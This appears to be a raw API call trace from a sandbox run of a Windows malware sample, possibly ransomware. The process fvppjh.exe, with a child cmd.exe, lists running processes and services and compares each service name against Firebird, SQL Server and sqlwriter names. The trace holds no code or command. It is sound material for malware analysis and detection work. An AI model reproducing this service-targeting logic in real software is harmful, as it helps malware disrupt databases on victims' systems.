	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0176.537] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0176.537] lstrlenW (lpString="SENS") returned 4
	[0176.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0176.537] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0176.537] lstrlenW (lpString="ShellHWDetection") returned 16
	[0176.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0176.537] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0176.537] lstrlenW (lpString="Spooler") returned 7
	[0176.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0176.537] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0176.537] lstrlenW (lpString="StateRepository") returned 15
	[0176.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0176.537] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0176.537] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0176.537] lstrlenW (lpString="SysMain") returned 7
	[0176.537] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0176.537] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0176.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0176.538] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0176.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0176.538] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0176.538] lstrlenW (lpString="Themes") returned 6
	[0176.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0176.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0176.538] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0176.538] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0176.538] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0176.538] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0176.538] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0176.538] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0176.538] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41e6cb8 | out: hHeap=0x5a0000) returned 1
	[0176.538] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x570
	[0176.543] Process32FirstW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0176.543] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0176.543] lstrlenW (lpString="System") returned 6
	[0176.543] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0176.544] lstrlenW (lpString="smss.exe") returned 8
	[0176.544] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.544] lstrlenW (lpString="csrss.exe") returned 9
	[0176.544] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0176.545] lstrlenW (lpString="wininit.exe") returned 11
	[0176.545] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.545] lstrlenW (lpString="csrss.exe") returned 9
	[0176.545] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0176.546] lstrlenW (lpString="winlogon.exe") returned 12
	[0176.546] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0176.546] lstrlenW (lpString="services.exe") returned 12
	[0176.546] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0176.547] lstrlenW (lpString="lsass.exe") returned 9
	[0176.547] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.547] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.547] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.548] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.548] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.548] lstrlenW (lpString="svchost.exe") returned 11
	[0176.548] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.549] lstrlenW (lpString="svchost.exe") returned 11
	[0176.549] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0176.549] lstrlenW (lpString="dwm.exe") returned 7
	[0176.549] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.550] lstrlenW (lpString="svchost.exe") returned 11
	[0176.550] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.550] lstrlenW (lpString="svchost.exe") returned 11
	[0176.550] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.551] lstrlenW (lpString="svchost.exe") returned 11
	[0176.551] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.551] lstrlenW (lpString="svchost.exe") returned 11
	[0176.551] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.552] lstrlenW (lpString="svchost.exe") returned 11
	[0176.552] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.552] lstrlenW (lpString="svchost.exe") returned 11
	[0176.552] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.553] lstrlenW (lpString="svchost.exe") returned 11
	[0176.553] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.553] lstrlenW (lpString="svchost.exe") returned 11
	[0176.553] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.554] lstrlenW (lpString="svchost.exe") returned 11
	[0176.554] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.554] lstrlenW (lpString="svchost.exe") returned 11
	[0176.554] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0176.555] lstrlenW (lpString="spoolsv.exe") returned 11
	[0176.555] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.555] lstrlenW (lpString="svchost.exe") returned 11
	[0176.555] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0176.556] lstrlenW (lpString="audiodg.exe") returned 11
	[0176.556] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0176.556] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0176.556] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0176.557] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0176.557] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0176.557] lstrlenW (lpString="Memory Compression") returned 18
	[0176.557] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0176.558] lstrlenW (lpString="sihost.exe") returned 10
	[0176.558] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.558] lstrlenW (lpString="svchost.exe") returned 11
	[0176.558] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0176.559] lstrlenW (lpString="taskhostw.exe") returned 13
	[0176.559] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0176.559] lstrlenW (lpString="taskhostw.exe") returned 13
	[0176.559] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0176.560] lstrlenW (lpString="explorer.exe") returned 12
	[0176.560] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0176.560] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0176.560] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0176.560] lstrlenW (lpString="SearchUI.exe") returned 12
	[0176.561] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0176.561] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0176.561] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0176.562] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0176.562] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0176.562] lstrlenW (lpString="fvppjh.exe") returned 10
	[0176.562] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0176.563] lstrlenW (lpString="cmd.exe") returned 7
	[0176.563] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0176.563] lstrlenW (lpString="conhost.exe") returned 11
	[0176.563] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x3b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0176.564] lstrlenW (lpString="consent.exe") returned 11
	[0176.564] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0176.564] lstrlenW (lpString="dllhost.exe") returned 11
	[0176.564] Process32NextW (in: hSnapshot=0x570, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0176.564] CloseHandle (hObject=0x570) returned 1
	[0176.565] Sleep (dwMilliseconds=0x1f4) 
	[0177.156] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0177.157] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0177.158] GetLastError () returned 0xea
	[0177.158] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41e6cb8
	[0177.158] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41e6cb8, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41e6cb8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0177.159] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0177.159] lstrlenW (lpString="Appinfo") returned 7
	[0177.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0177.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0177.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0177.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0177.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0177.159] lstrlenW (lpString="AppXSvc") returned 7
	[0177.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0177.159] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0177.159] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0177.160] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0177.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0177.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0177.160] lstrlenW (lpString="Audiosrv") returned 8
	[0177.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0177.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0177.160] lstrlenW (lpString="BFE") returned 3
	[0177.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0177.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0177.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0177.160] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0177.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0177.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0177.160] lstrlenW (lpString="CDPSvc") returned 6
	[0177.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0177.160] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0177.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0177.160] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0177.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0177.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0177.161] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0177.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0177.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
